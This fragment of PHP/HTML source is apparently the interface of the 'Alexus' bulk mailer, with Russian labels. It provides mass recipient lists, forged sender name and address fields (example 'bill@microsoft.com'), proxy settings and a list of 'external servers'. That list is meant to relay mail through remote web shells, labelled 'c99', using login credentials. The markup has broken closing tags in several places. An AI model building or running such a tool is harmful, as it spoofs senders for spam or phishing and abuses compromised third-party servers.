src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAEM0lEQVRIie2Ua0jVZxzHSxJ6YaBBCFFYYtpeNJagjqaDQalbi+zFaGkT5yzWiiajTYsZTXIt87Z5qdkU04aF9ww6HrVjamfaIW/pqSyPnTpXtSzzkqn77Hn+madYbzaKvdkfvi/O7/L5PpffeebN+//777/58xfU79hBl05Hi66LiH3FeH+UiffGLKHsORkM/dStXYva25u+7m7e257/Qj5L6QnbU0R9Rjbn/f3RZmUh2dLApWb3boxpaYz29zM9PU3LNRvHCjtIPtVBSlEHaac7mZn5E3tODraMDGYmJjhZrldysuZoQTuNrXcYLC3FlJ7OiNlMW1ubNHCRBq6+m5O5o2niVkwMQxUVAjaDwfyI2JTLbI2vVSQNDFFR3N66lenRUb460qTEv/yxEX1TJ8bYWOyFhTwZG8M+NEzQp2nSwFUxcHrrO3YmqvmjoQtjfDz3Dh3i6fAwY+OT/FzcSdg3KrGzGW6Hh9MbFsbU48d8kdjAkfyr2MoqMERHMyKOeGpqivbrNvYcqUMyXzD4lpBdpQTvqiTz93bMefn0btvGoytXlKb61rs8fTrFzS1buB4czOTDh9TVdWPcvx9jXBwTAwM8mZwkr6JbYUiWZDoMVu8jKKqYwM9LCIwuJTKhlpsXLnFdrNacnc2k2PakAOhDQugODGTiwQN6IyKwFRQocaPlITsPX1R6JUOyJHPO4KJGw+DgICMjI4wJ2Pj4+CvVGRREu5ikUVH7qrzslQzJ0gjmnEHuokU0rl5Ni48PV4R0/1KyVzIk64STk8MgR/zQrFqFdragVRaLef8nap3tlQzJOiEWPWegVqsxGo0MiMu6f/8+D8QZD4spelFDd+/StGQJWk/Pv+WkZI/slQzJqhFMxyX7fI3bulTcAn8RyuSDmGI69EaGhoa4kZREi58fA+JP2ODqStPy5Up80GqlR4z0ZXEc2oISAiKKlF6FIViS6TDw3ssi/6O4BKQRl1qL1WbH3NNDa2gorRs38lueGmtfH/Vi2w1Ll2K3D5BfplNW21deTqOXFx1x8ez+4bzCkCzJfMnAY306Zao2LBYLvWfO0LBiBVcPHWbz3hI8P/wVy61b1C5cyEVxTFarjYV+6WzfX4mh34RZr0crRrhZTFlR7jnc30952eDdLYnioevE0NuLTrxLGnFRlcfPsnxDNs6+KXgE53Dvxg1Uzs7ULl6MyWRW4lI+m3Kpbe4RMRPtCQlccHdH/VMqb4cedBhUV1fTrlJR4+uLNjKSg8lVCnyZkIQHhJ/CJHagWbmSS2vWYDZbWBF6XMkpNSE5JJ/UKJd7raqKc+LI8j/e5DAoOXCAXA8PTscnsO6TY7j5fT+rBEWrNiTRKKaiwM2NwmXLaGpunss907P69Z+lU3FOhUqYFIq7e27gIuQl9M5rltfz53rBrInra5aLwgbeqN64wV+Rl1Pcwvw+zwAAAABJRU5ErkJggg==" /> </a></li> </ul> </div> </div> </div> </div> <div class="row section-screen" id="help-screen"> <div class="span12"> <div class="well"> <?php tr('helppage',false);?> </div> </div> </div> <div class="row section-screen" id="preview-screen"> <div class="span12"> <div class="well"> <h3><?php tr('preview');?></h3> <iframe src="about:_blank" style="width:100%; height:600px;"></iframe> </div> </div> </div> <div class="row section-screen" id="settings-screen"> <div class="span12"> <div class="well"> <h2><?php tr('settings');?></h2> <ul class="nav nav-tabs"> <li class="active"><a href="#home-tab"data-toggle="tab">Основные</a></li> <li><a href="#outservers-tab" data-toggle="tab">Внешние сервера</a></li> <li><a href="#security-tab" data-toggle="tab">Безопасность</a></li> </ul> <div class="tab-content"> <div class="tab-pane active" id="home-tab"> <?php tr('threadsnum');?><br> <div class="btn-group"> <input type="button" class="btn" onclick="dThreads();" value="<?php tr('less',false);?>"><button class="btn" id="THREADS">4</button><input type="button" class="btn" onclick="iThreads();" value="<?php tr('more',false);?>"> </div> <br><br> <?php tr('timeoutlen');?><br> <input type="text" class="input-mini" id="TIMEOUT" value="0" style="height:25px; margin-top:10px;"><div id="TIMEOUT_RANGE" min="0" max="3600"></div> </div> <div class="tab-pane" id="outservers-tab"> <input type="checkbox" id="use_out_servers" style="display:none;"> <button type="button" class="btn btn-danger btn-checkbox" data-toggle="#use_out_servers"><i class="icon-remove"></i></button> <?php tr('useoutservers');?><br><br> Подробное описание работы с внешнеми серверами смотрите в <a href="//mailer.a-l-e-x-u-s.ru/about.pdf"><span class="label label-warning">документации</span></a> <br> <textarea id="out_servers" style="width:100%; height:250px;" placeholder="Пример: //serv4.ru/sw.php|c99|login:password , При использовании СМТП: smtp.mailo.ru:465|smtp|vasya@mailo.ru:parol"></textarea><br> <button class="btn" onclick="pingoutservers()">Проверить сервера</button> (недоступные будут автоматически удалены из списка) </div> <div class="tab-pane" id="security-tab"> <?php $no_write_perm=false; clearstatcache(); if(!is_writable(__FILE__)): $no_write_perm=true; ?> <div class="alert alert-error"> Отсутствует доступ на запись к скрипту! Смена пароля невозможна. <b>Измените права на 666</b> на время смены пароля. </div> <?php endif;?> <div class="alert alert-success" style="display:none;" id="passchangesuccess"> Пароль успешно изменен! </div> <div class="alert alert-error" style="display:none;" id="passchangeerror"> При изменении пароля произошла ошибка, возможно файл скрипта недоступен на запись. </div> <table border=0> <tr> <td><input type="text" id="inputLogin" class="txtinput" placeholder="Логин" <?php if($no_write_perm):?>readonly<?endif;?>></td> <td><input type="text" id="inputPassword" class="txtinput" placeholder="Пароль" <?php if($no_write_perm):?>readonly<?endif;?>></td> </tr> <tr> <td> <button type="button" class="btn" onclick="ChangePass($('#inputLogin').val(),$('#inputPassword').val())" <?php if($no_write_perm):?>disabled<?endif;?>>Установить пароль</button> </td><td> <button type="button" class="btn btn-danger" onclick="ChangePass('','');" <?php if($no_write_perm):?>disabled<?endif;?>>Удалить пароль</button> </td> </tr> </table> <br><br> <input type="checkbox" id="use_proxy_server" style="display:none;"> <button type="button" class="btn btn-danger btn-checkbox" data-toggle="#use_proxy_server"><i class="icon-remove"></i></button> Использовать http прокси<br> <input type="text" class="txtinput" id="proxy_server_uri" placeholder="//proxyserver.ru:8080"> </div> </div> </div> </div> </div> <div class="row section-screen" id="prime-screen"> <div class="span3"> <div id="console" class="well" style="text-align:center;"><?php tr('status');?></div> <div id="ext-console" class="well"></div> </div> <div class="span9"> <div class="progress" id="progressbar"> <div class="bar bar-warning" style="width: 0%;"></div> <div class="barcounter">0/0</div> </div> <div class="well status"> <b>Статус: <span class="label label-warning">простаиваем</span></b> <!-- <div class="header"> <b>Статус: <span class="label label-success">рассылка</span></b> <i class="icon-remove"></i> </div> <div class="data"> статус и информация о рассылке, управляющие кномки "возобновить", "приостановить", "отменить" </div> --> <div class="controls"> <button class="btn" disabled="disabled" id="ResumeSendMail" onclick="ResumeSendMail()"><i class="icon-play"></i> Возобновить</button> <button class="btn" disabled="disabled" id="PauseSendMail" onclick="PauseSendMail()"><i class="icon-pause"></i> Приостановить</button> <button class="btn" disabled="disabled" id="StopSendMail" onclick="StopSendMail()"><i class="icon-stop"></i> Отменить</button> </div> </div> <form class="form-horizontal"> <div class="control-group"> <label class="control-label" for="inputEmail"><?php tr('recipient');?> [TO-EMAIL]</label> <div class="controls"> <textarea name="to" id="to" class="input-xlarge txtinput" placeholder="vasya@yandex.ru"></textarea> <div class="input-append"> <span class="add-on" onclick="ShowUpload();return false" style="cursor:pointer;"><?php tr('upload');?></span> </div> </div> </div> <div class="control-group"> <label class="control-label" for="inputEmail"><?php tr('fromname');?> [FROM-NAME]</label> <div class="controls"> <input type="text" name="fromname" id="fromname" class="input-xlarge txtinput" placeholder="Bill Gates"></textarea> </div> </div> <div class="control-group"> <label class="control-label" for="inputEmail"><?php tr('frommail');?> [FROM-EMAIL]</label> <div class="controls"> <input type="text" name="frommail" id="frommail" class="input-xlarge txtinput" placeholder="bill@microsoft.com"></textarea> </div> </div> <div class="control-group"> <label class="control-label" for="inputEmail"><?php tr('replymail');?> [REPLY-EMAIL]</label> <div class="controls"> <input type="text" name="replymail" id="replymail" class="input-xlarge txtinput" placeholder="my@email.com"></textarea> </div> </div> <div class="control-group"> <label class="control-label" for="inputEmail"><?php tr('subject');?> [THEME]</label> <div class="controls"> <input type="text" name="tema" id="tema" class="input-xlarge txtinput" placeholder="<?php tr('subject_example',false);?>"></textarea> </div> </div> <div class="control-group"> <label class="control-label" for="inputEmail"><?php tr('addfield');?></label> <div class="controls"> <div class="input-prepend"> <span class="add-on">[ADD0]</span> </div> <input type="text" name="additional" id="additional0" class="input-xlarge txtinput additional" placeholder="<?php tr('addfield2',false);?>"></textarea> <div class="input-append"> <span class="add-on"><span class="addfield" onclick="AddField(this)">+</span></span> </div> </div> </div> <div class="control-group"> <label class="control-label" for="inputEmail"><?php tr('mailtype');?> ( <a href="#" rel="tooltip" data-title="<?php tr('plaintext',false);?>">text</a>, <a href="#" rel="tooltip" data-title="<?php tr('withformating',false);?>">html</a>, <a href="#" rel="tooltip" data-title="<?php tr('htmle',false);?>">html(e)</a>) </label> <div class="controls"> <select name="type" id="type"> <option value="html">html</option> <option value="htmle">html(e)</option> <option value="text">text</option> </select> </div> </div> <div class="btn-group" id="textcontrols"> <button id="makebold" onclick="MakeBold();return false" class="btn">B</button> <button id="makeitalic" onclick="MakeItalic();return false" class="btn">I</button> <button id="makeunderline" onclick="MakeUnderline();return false" class="btn">U</button> <button id="makereverse" onclick="MakeReverse();return false" class="btn">esreveR</button> </div> <textarea name="text" id="text" style="width:100%;height:200px;"></textarea> <button class="btn" onclick="showUniversalUpload();return false"><i class="icon-plus"></i> <?php tr('attachfile');?></button> <span id="attachedFiles" class="pull-right"></span> </form> <div class="pull-left"> <button class="btn btn-large" onclick="SaveData()"><?php tr('save');?></a> <button class="btn btn-large" onclick="TogleLoadSave()"><?php tr('load');?></a> </div> <div class="pull-right"> <button class="btn btn-large btn-primary" onclick="Send()"><?php tr('send');?></a> <button class="btn btn-large" onclick="Preview()"><?php tr('preview');?></a> </div> </div> </div> <div class="row"> <div class="span12"> <div class="well" style="text-align:center;"> © <a href="//mailer.a-l-e-x-u-s.ru/" target="_blank">Alexus</a> <?php echo date("Y");?> </div> </di> </div> <script src="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/js/bootstrap.min.js"></script> </body> </html>
© 2026 UnknownSec